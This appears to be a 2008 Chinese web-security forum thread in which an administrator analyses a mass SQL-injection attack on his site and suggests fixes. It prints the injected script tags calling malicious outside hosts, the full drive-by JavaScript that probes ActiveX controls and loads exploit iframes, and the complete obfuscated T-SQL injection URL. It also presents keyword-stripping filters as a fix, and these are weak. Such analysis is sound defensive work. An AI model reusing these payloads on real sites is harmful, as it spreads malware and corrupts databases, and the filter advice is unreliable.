首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册

正在浏览:   1 名游客





最近好多网站都受到SQL注入与解决方案(攻击手法还未知)
网站管理员
注册日期:
1970/1/1 8:00
所属群组:
网站管理员
帖子: 7077
等级: 58; EXP: 5
HP : 0 / 1426
MP : 2359 / 209524
离线
最近好多网站都受到SQL注入与解决方案2008-05-10 23:021.现象

今天发现自己的网站被SQL注入了 :(
首先,看到 页面包含了 <script src=http://s.see9.us/s.js></script>

还有,页面有大量的类似如下的内容
<script src=http://%61%31%38%38%2E%77%73/1.js></script><!"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr' width=50 border=0>

<script src=http://%61%31%38%38%2E%77%73/1.js></script><!"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr


你可以用记事本打开http://a188.ws/1.js查看其内容,(不推荐用IE打开,因为那样病毒就直接会下载到你的电脑里,用记事本看看其代码就可以了)



document.writeln("<base onmouseover=\"window.status=\'完毕 \';return true\">");
document.writeln("<SCRIPT language=javascript type=text\/javascript>");
document.writeln("var cookieString = document.cookie;");
document.writeln("var start = cookieString.indexOf(\"woshi0day=\");");
document.writeln("if (start != -1)");
document.writeln("{}");
document.writeln("else");
document.writeln("{");
document.writeln("var expires = new Date();");
document.writeln("expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);");
document.writeln("document.cookie = \"woshi0day=0000;expires=\" + expires.toGMTString();");
document.writeln("document.write(\"<iframe src=\/\/ii.jtren.net\/cc\/p139.htm?18 width=10 height=0><\/iframe>\");");
document.writeln("}<\/SCRIPT>");
document.writeln("<script language=\"javascript\" src=\"http:\/\/count49.51yes.com\/click.aspx?id=493330621&logo=1\"><\/script>");


在上面代码里可以看到使用了iframe,iframe指向的地址为 http://jj.jtren.net/cc/p139.htm 用记事本打开看看内容吧

<script language="javaScript">
var cook = "silentwm";

function setCookie(name, value, expire)
{
window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));
}

function getCookie(Name)
{
var search = Name + "=";
if (window.document.cookie.length > 0)
{
offset = window.document.cookie.indexOf(search);
if (offset != -1)
{
offset += search.length;
end = window.document.cookie.indexOf(";", offset)
if (end == -1)
end = window.document.cookie.length;
return unescape(window.document.cookie.substring(offset, end));
}
}
return null;
}

function register(name)
{
var today = new Date();
var expires = new Date();
expires.setTime(today.getTime() + 1000*60*60*24);
setCookie(cook, name, expires);
}

function openWM()
{
var c = getCookie(cook);
if (c != null)
{
return;
}

register(cook);

window.defaultStatus="完成";

try{ var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
if(e!="[object Error]"){
document.write("<iframe width=50 height=0 src=http://ii.jtren.net/14.htm></iframe>")}
else
{
try{ var j;
var real11=new ActiveXObject("IERP"+"Ctl.I"+"ERPCtl.1");}
catch(j){};
finally{if(j!="[object Error]"){if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552")
{document.write('<iframe width=100 height=0 src=http://ii.jtren.net/real.htm></iframe>')}
else
{
document.write('<iframe width=100 height=0 src=http://ii.jtren.net/real11.htm></iframe>')}}}

try{ var g;
var glworld=new ActiveXObject("GLAVATAR.GLAvatarCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write('<iframe style=display:none src=http://ii.jtren.net/lz.htm></iframe>')}}

try{ var h;
var storm=new ActiveXObject("MPS.StormPlayer.1");}
catch(h){};
finally{if(h!="[object Error]"){
document.write('<iframe style=display:none src=http://ii.jtren.net/bfyy.htm></iframe>')}}

try{ var f;
var thunder=new ActiveXObject("DPClient.Vod");}
catch(f){};
finally{ if(f!="[object Error]"){
document.write('<iframe width=50 height=0 src=xl.htm></iframe>')}}

}}
}

openWM();
</script>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1862269.js"></script>
通过代码可以看到,这里使用了这是一个RealPlayer(IERPCtl.IERPCtl.1)漏洞,属于蠕虫病毒变异种 目前有Worm.Win32.Otwycal.a Worm.Win32.Otwycal.b Worm.Win32.Otwycal.c 3类变种
一但感染了这个病毒,电脑里面所有扩展名为*.EXE的所以程序都会被这个病毒破坏,中毒现象:运行程序提示程序错误


2.原因

上面说的是用户打开你的网站时,你的电脑可能中毒病毒,相信很多站长自己是不愿意放病毒代码的,出现这个原因是网站漏洞,具体的说是该病毒攻击者利用SQL技术,进行注入,下面是SQL注入的简单介绍
下面是一个典型的aspx页面显示的信息
http://www.19cn.com/showdetail.asp?id=49

但是攻击者可以进行注入,事实上上面代码很容易猜测出你的页面执行的SQL语句,例如可能为
string id=Request.QueryString["id"];
string sql="select * from table where id="+id;

但是上面的代码及其脆弱,例如访问者把你的地址改成
http://www.19cn.com/showdetail.asp?id=49 and 1=1
页面执行正常。

http://www.19cn.com/showdetail.asp?id=49 and 1=2
则页面执行错误,如果你的网站显示错误信息,攻击者很容易看到错误原因。

更为严重的是,攻击者可以编写更多了SQL语句,例如
http://www.19cn.com/showdetail.asp?id=49 ;delete from table
那么你代码里最终拼凑的SQL为
string sql="select * from table where id=49 ;delete from table
在SQL里分号是语句指向的结束,上面的SQL语句将直接删除table里的所有数据。

解决方法
我们建议你使用存储过程,因为存储过程会进行类别判断,例如上面代码写成存储过程是,类似如下
SqlParameter p=new SqlParameter("id",Int32);
在这里,当用户再次输入
http://www.19cn.com/showdetail.asp?id=49 ;delete from table

网址时,由于系统将对代码进行转换(即吧id为 49;delete from table)转化为int类型,此时转换失败,所以可以防止别人攻击,而且不影响访问。
对于整形,你也可以使用如下简单代码
try
{
int.Parse(Request.QueryString["id"]);
}
catch
{
Response.End();

}
在这里,当检查id值非法时,直接中止页面运行也是可以很好解决的。



上面介绍的是对int类型的解决,相对于int类型,字符串要复杂的很多,例如在搜索时,可能的URL为
http://www.19cn.com/search.aspx?key=asp.net
那么你的sql语句可能为
string key=Request.QueryString["key"];
string sql="select * from table where keyword like '"+key+"'";
在这里如果攻击你的URL为
http://www.19cn.com/search.aspx?key=asp.net' ; delete from table--
那么构造出来的SQL语句就为
select * from table where keywork like 'asp.net'; delete from table --'
请注意,--的作用,它会让最后的'字符失效,所有上面代码仍然会删除你的数据
这里常用的解决方法大字有如下几个:
1)过滤SQL常用的语句,例如
string key=Request.QueryString["key"];
key=key.Lower();
key=key.Replace("select","");
key=key.Replace("update","");
key=key.Replace("delete","");
这样把select/update/delete等命令过滤掉,另外需要注意这个代码
key=key.Lower();

也就是把请求的代码都转换为小写,因为攻击者可能故意把select 写成 SeleCT等,那样可能过滤不掉

2)过滤 “’, --”符号等
3)使用存储过程,这样即使SQL包含注入,到存储过程里也失效,这也是为什么建议大家使用存储过曾的原因

下面是你网站收到公交时,攻击者的访问代码

20@t%20vArChAr" title="http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr" target="_blank">http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--

http://www.19cn.com/showdetail.aspx?id=19 218.3.207.119 - 500 0 209 281

http://www.19cn.com/showdetail.aspx?id=19 218.3.207.119 - 500 0 216 281
%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1你可以反编码就可以知道攻击者是如何攻击你的,例如 上面的 20%代表空格等

2008/12/13 21:57
应用扩展 工具箱


回复: 最近好多网站都受到SQL注入与解决方案(攻击手法还未知)
网站管理员
注册日期:
1970/1/1 8:00
所属群组:
网站管理员
帖子: 7077
等级: 58; EXP: 5
HP : 0 / 1426
MP : 2359 / 209524
离线
谁知道相关情况可以发来。

2008/12/13 21:57
应用扩展 工具箱


回复: 最近好多网站都受到SQL注入与解决方案(攻击手法还未知)
网站管理员
注册日期:
1970/1/1 8:00
所属群组:
网站管理员
帖子: 7077
等级: 58; EXP: 5
HP : 0 / 1426
MP : 2359 / 209524
离线
初步分析结果是自动注入程序通过搜索引擎找到注入点进行盲注。估计现在很多人在干这个事情了。呵呵

2008/12/13 21:57
应用扩展 工具箱






可以查看帖子.
不可发帖.
不可回复.
不可编辑自己的帖子.
不可删除自己的帖子.
不可发起投票调查.
不可在投票调查中投票.
不可上传附件.
不可不经审核直接发帖.

[高级搜索]



系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号